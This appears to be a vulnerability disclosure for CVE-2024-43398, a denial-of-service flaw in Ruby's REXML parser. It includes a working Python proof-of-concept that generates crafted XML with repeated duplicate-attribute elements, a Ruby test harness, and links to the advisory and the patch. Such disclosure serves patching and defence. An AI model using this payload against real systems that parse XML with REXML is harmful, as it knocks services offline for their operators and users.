CVE-2024-43398: DoS vulnerability in REXML

This is a vulnerability due to poor performance when parsing specially crafted xml with REXML. Here is the exploit script in python: ``` start = "" middle = "<a xml:b=\"\" b=\"\">" + "<D>" * 1 end = "" print(start) COUNT = 2000 for _ in range(COUNT): print(middle) print(end) ``` redirect this to a file and then pass this file to the stdin of the following ruby program: ``` require 'rexml/document' include REXML puts "Reading input from stdin..." input = ARGF.read puts "Parsing input..." REXML::Document.new input puts "Done!" ``` on the vulnerable version of rexml, this program takes a very long time to exit and the CPU usage jumps to 100% when parsing the document. Here is a link to ruby-lang.com where this vulnerability is documented: https://www.ruby-lang.org/en/news/2024/08/22/dos-rexml-cve-2024-43398/ and here is a link to the patch on github: https://github.com/ruby/rexml/commit/7cb5eaeb221c322b9912f724183294d8ce96bae3 ## Impact DOS via uncontrolled resource consumption.